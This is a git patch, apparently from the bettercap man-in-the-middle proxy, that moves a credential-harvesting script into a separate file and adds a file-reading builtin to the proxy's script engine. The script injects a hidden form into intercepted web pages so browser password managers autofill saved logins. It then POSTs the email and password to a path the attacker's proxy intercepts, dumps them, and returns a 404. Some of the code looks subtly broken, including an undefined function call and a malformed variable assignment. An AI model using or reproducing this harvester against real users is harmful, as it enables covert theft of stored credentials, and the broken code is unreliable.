From 493867be6b7f93f14fb3f3840111d05338b61989 Mon Sep 17 00:00:00 2001 From: evilsocket Date: Mon, 8 Jan 2018 10:33:31 +0100 Subject: [PATCH] refact: exposing readFile builtin function to proxy scripts. --- caplets/login-man-abuse.js | 67 ++++------------------------------ caplets/login-man-abuser.js | 71 ++++++++++++++++++++++++++++++++++++ modules/http_proxy_script.go | 17 +++++++++ 3 files changed, 95 insertions(+), 60 deletions(-) create mode 100644 caplets/login-man-abuser.js diff --git a/caplets/login-man-abuse.js b/caplets/login-man-abuse.js index 56b648d0..09c8dc37 100644 --- a/caplets/login-man-abuse.js +++ b/caplets/login-man-abuse.js @@ -9,66 +9,12 @@ * - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request. * - Intercept request, dump credentials, drop client to 404. */ -var AbuserJavascript = -'var injectForm = function(visible) {' + "\n" + -' var container = document.createElement("div");' + "\n" + -' if (!visible){' + "\n" + -' container.style.display = "none";' + "\n" + -' }' + "\n" + -' var form = document.createElement("form");' + "\n" + -' form.attributes.autocomplete = "on";' + "\n" + -' var emailInput = document.createElement("input");' + "\n" + -' emailInput.attributes.vcard_name = "vCard.Email";' + "\n" + -' emailInput.id = "email";' + "\n" + -' emailInput.type = "email";' + "\n" + -' emailInput.name = "email";' + "\n" + -' form.appendChild(emailInput);' + "\n" + -' var passwordInput = document.createElement("input");' + "\n" + -' passwordInput.id = "password";' + "\n" + -' passwordInput.type = "password";' + "\n" + -' passwordInput.name = "password";' + "\n" + -' form.appendChild(passwordInput);' + "\n" + -' container.appendChild(form);' + "\n" + -' document.body.appendChild(container);' + "\n" + -'};' + "\n" + -'' + "\n" + -'var doPOST = function(data) {' + "\n" + -' var xhr = new XMLHttpRequest();' + "\n" + -'' + "\n" + -' xhr.open("POST", "/login-man-abuser");' + "\n" + -' xhr.setRequestHeader("Content-Type", "application/json");' + "\n" + -' xhr.onload = function() {' + "\n" + -' console.log("Enjoy your coffee!");' + "\n" + -' };' + "\n" + -'' + "\n" + -' xhr.send(JSON.stringify(data));' + "\n" + -'};' + "\n" + -'' + "\n" + -'var sniffInputField = function(fieldId){' + "\n" + -' var inputElement = document.getElementById(fieldId);' + "\n" + -' if (inputElement.value.length){' + "\n" + -' return {fieldId: inputElement.value};' + "\n" + -' }' + "\n" + -' window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms' + "\n" + -'};' + "\n" + -'' + "\n" + -'var sniffInputFields = function(){' + "\n" + -' var inputs = document.getElementsByTagName("input");' + "\n" + -' data = {};' + "\n" + -' for (var i = 0; i < inputs.length; i++) {' + "\n" + -' console.log("Will try to sniff element with id: " + inputs[i].id);' + "\n" + -' output = stringsniffInputField(inputs[i].id);' + "\n" + -' data = Object.assign({}, data, output);' + "\n" + -' }' + "\n" + -' doPOST(data);' + "\n" + -'};' + "\n" + -'' + "\n" + -'var sniffFormInfo = function(visible) {' + "\n" + -' injectForm(visible);' + "\n" + -' sniffInputFields();' + "\n" + -'};' + "\n" + -'' + "\n" + -'sniffFormInfo(false);'; +var AbuserJavascript = ""; + +function onLoad() { + console.log( "Loading abuser code from caplets/login-man-abuser.js" ); + AbuserJavascript = readFile("caplets/login-man-abuser.js") +} // here we intercept the ajax POST request with leaked credentials. function onRequest(req, res) { @@ -88,6 +34,7 @@ function onRequest(req, res) { function onResponse(req, res) { if( res.ContentType.indexOf('text/html') == 0 ){ var body = res.ReadBody(); + console.log(AbuserJavascript); if( body.indexOf('') != -1 ) { res.Body = body.replace( '', diff --git a/caplets/login-man-abuser.js b/caplets/login-man-abuser.js new file mode 100644 index 00000000..e4d329bd --- /dev/null +++ b/caplets/login-man-abuser.js @@ -0,0 +1,71 @@ +/* + * Ref. + * - https://github.com/evilsocket/bettercap-proxy-modules/issues/72 + * - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/ + * + * The idea: + * + * - On every html page, inject this invisible form who grabs credentials from login managers. + * - POST such credentials to /login-man-abuser, given we control the HTTP traffic, well intercept this request. + * - Intercept request, dump credentials, drop client to 404. + */ +var AbuserJavascript = +var injectForm = function(visible) { +var container = document.createElement("div"); +if (!visible){ +container.style.display = "none"; +} +var form = document.createElement("form"); +form.attributes.autocomplete = "on"; +var emailInput = document.createElement("input"); +emailInput.attributes.vcard_name = "vCard.Email"; +emailInput.id = "email"; +emailInput.type = "email"; +emailInput.name = "email"; +form.appendChild(emailInput); +var passwordInput = document.createElement("input"); +passwordInput.id = "password"; +passwordInput.type = "password"; +passwordInput.name = "password"; +form.appendChild(passwordInput); +container.appendChild(form); +document.body.appendChild(container); +}; + +var doPOST = function(data) { +var xhr = new XMLHttpRequest(); + +xhr.open("POST", "/login-man-abuser"); +xhr.setRequestHeader("Content-Type", "application/json"); +xhr.onload = function() { +console.log("Enjoy your coffee!"); +}; + +xhr.send(JSON.stringify(data)); +}; + +var sniffInputField = function(fieldId){ +var inputElement = document.getElementById(fieldId); +if (inputElement.value.length){ +return {fieldId: inputElement.value}; +} +window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms +}; + +var sniffInputFields = function(){ +var inputs = document.getElementsByTagName("input"); +data = {}; +for (var i = 0; i < inputs.length; i++) { +console.log("Will try to sniff element with id: " + inputs[i].id); +output = stringsniffInputField(inputs[i].id); +data = Object.assign({}, data, output); +} +doPOST(data); +}; + +var sniffFormInfo = function(visible) { +injectForm(visible); +sniffInputFields(); +}; + +sniffFormInfo(false);; diff --git a/modules/http_proxy_script.go b/modules/http_proxy_script.go index d61bd921..51d28474 100644 --- a/modules/http_proxy_script.go +++ b/modules/http_proxy_script.go @@ -57,6 +57,23 @@ func LoadProxyScript(path string, sess *session.Session) (err error, s *ProxyScr return } + // define builtins + s.VM.Set("readFile", func(call otto.FunctionCall) otto.Value { + filename := call.Argument(0).String() + raw, err := ioutil.ReadFile(filename) + if err != nil { + s.sess.Events.Log(session.ERROR, "Could not read %s: %s", filename, err) + return otto.Value{} + } + + v, err := s.VM.ToValue(string(raw)) + if err != nil { + s.sess.Events.Log(session.ERROR, "Could not convert to string: %s", err) + return otto.Value{} + } + return v + }) + // run onLoad if defined if s.hasCallback("onLoad") { _, err = s.VM.Run("onLoad()")